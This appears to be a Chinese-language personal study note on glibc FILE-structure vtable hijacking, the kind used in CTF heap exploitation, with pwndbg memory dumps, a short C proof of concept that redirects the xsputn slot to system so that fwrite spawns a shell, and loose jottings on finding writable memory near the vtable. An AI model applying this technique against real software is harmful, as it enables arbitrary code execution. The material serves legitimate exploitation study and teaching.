伪造vtable

​ 理解了上面的原因就会晓得,攻击的原理就是伪造vtable的函数指针,当io操作调用里面的函数的时候,就会调用到我们自己伪造的函数

​ 伪造分两种

​ 1. 伪造部分指针,vtable不变,只是改写里面的特定指针,通过任意地址写可以实现

​ 2. 伪造全部vtable,将vtable的指针覆盖指向我们控制的内存,在可控内存中布置函数指针

基础

​ vtable的地址: 64下对于_IO_FILE_plus 的偏移是0xd8

1
2
pwndbg> p sizeof(struct _IO_FILE)
$2 = 216 (0xd8)

​ printf会调用vtable中的xsputn,对应第8项

1
2
3
4
5
6
7
8
9
pwndbg> tele 0x7ffff7dd06e0
00:00000x7ffff7dd06e0 (_IO_file_jumps) ◂— 0x0
01:00080x7ffff7dd06e8 (_IO_file_jumps+8) ◂— 0x0
02:00100x7ffff7dd06f0 (_IO_file_jumps+16) —▸ 0x7ffff7a869d0 (_IO_file_finish) ◂— push rbx
03:00180x7ffff7dd06f8 (_IO_file_jumps+24) —▸ 0x7ffff7a87740 (_IO_file_overflow) ◂— mov ecx, dword ptr [rdi]
04:00200x7ffff7dd0700 (_IO_file_jumps+32) —▸ 0x7ffff7a874b0 (_IO_file_underflow) ◂— mov eax, dword ptr [rdi]
05:00280x7ffff7dd0708 (_IO_file_jumps+40) —▸ 0x7ffff7a88610 (_IO_default_uflow) ◂— mov rax, qword ptr [rdi + 0xd8]
06:00300x7ffff7dd0710 (_IO_file_jumps+48) —▸ 0x7ffff7a89990 (_IO_default_pbackfail) ◂— push r15
07:00380x7ffff7dd0718 (_IO_file_jumps+56) —▸ 0x7ffff7a861f0 (_IO_file_xsputn) ◂— xor eax, eax

案例

​ wiki上的例子就是第一种伪造,vtable不变,只是修改特定指针,但是目前流行的libc版本都不行了,例如libc2.23(已经过时了..) vtable所在地址就已经不可写

​ 下面看第二种例子,伪造全部vtable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void)
{
FILE *fp;
long long *vtable_addr,*fake_vtable;

fp=fopen("123.txt","rw");
fake_vtable=malloc(0x40);

vtable_addr=(long long *)((long long)fp+0xd8); //vtable offset

vtable_addr[0]=(long long)fake_vtable;

memcpy(fp,"sh",3);

fake_vtable[7]=&system; //xsputn

fwrite("hi",2,1,fp);
}

​ 因为 vtable 中的函数调用时会把对应的 _IO_FILE_plus 指针作为第一个参数传递,因此这里我们把 “sh” 写入 _IO_FILE_plus 头部。之后对 fwrite 的调用就会经过我们伪造的 vtable 执行 system(“sh”)。

1
2
3
4
5
6
7
8
9
0x7ffff7a7b7c8 <fwrite+182>    call   qword ptr [rax + 0x38]        <_IO_file_xsputn>
rdi: 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2a84
rsi: 0x7fffffffe1a0 ◂— 'modified content: thisisatest\n'
rdx: 0x1e
rcx: 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2a84

0x7ffff7a7eab6 <fwrite+182> call qword ptr [rax + 0x38] <system@plt>

*RDI 0x602010 ◂— 0xfb006873 /* 'sh' */
image-20240211164155417

the_end

1337到底是啥。。为啥经常出现。。

这个续表是什么呢?

咋只用给的libc。so呢,和ld

上面那三个应该是对象实例的指针

从map开始,是啥呢,反正是bss段了,可写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pwndbg> tele 0x7ffff7a0d000+0x3c56f8
00:00000x7ffff7dd26f8 (_IO_2_1_stdout_+216) —▸ 0x7ffff7dd06e0 (_IO_file_jumps) ◂— 0x0
01:00080x7ffff7dd2700 (stderr) —▸ 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2086
02:00100x7ffff7dd2708 (stdout+2726106872) —▸ 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2a84
03:00180x7ffff7dd2710 (stdin) —▸ 0x7ffff7dd18e0 (_IO_2_1_stdin_) ◂— 0xfbad2088
04:00200x7ffff7dd2718 (DW.ref.__gcc_personality_v0) —▸ 0x7ffff7a2db80 (__gcc_personality_v0) ◂— sub rsp, 0x28
05:00280x7ffff7dd2720 (map) ◂— 0x0
... ↓ 2 skipped
pwndbg>
08:00400x7ffff7dd2738 (__printf_va_arg_table) ◂— 0x0
... ↓ 7 skipped
pwndbg>
10:00800x7ffff7dd2778 (buffer) ◂— 0x0
... ↓ 7 skipped
pwndbg>
18:00c0│ 0x7ffff7dd27b8 (buffer) ◂— 0x0
... ↓ 7 skipped
pwndbg>
20:01000x7ffff7dd27f8 (buffer) ◂— 0x0
... ↓ 7 skipped
pwndbg>
28:01400x7ffff7dd2838 (buffer) ◂— 0x0
... ↓ 7 skipped
pwndbg>
30:01800x7ffff7dd2878 (domain) ◂— 0x0
... ↓ 7 skipped
pwndbg>
38:01c0│ 0x7ffff7dd28b8 (__stop___libc_freeres_ptrs) ◂— 0x0
... ↓ 7 skipped
pwndbg>
40:02000x7ffff7dd28f8 (release_handle) ◂— 0x0

在虚表附近找可读可写的地方,伪造vtable,相差别太大,两字节正合适,可以修改到这里

也可以打其他的指针 dlfini

https://xz.aliyun.com/t/3255#toc-13 这个exp是可以的呀!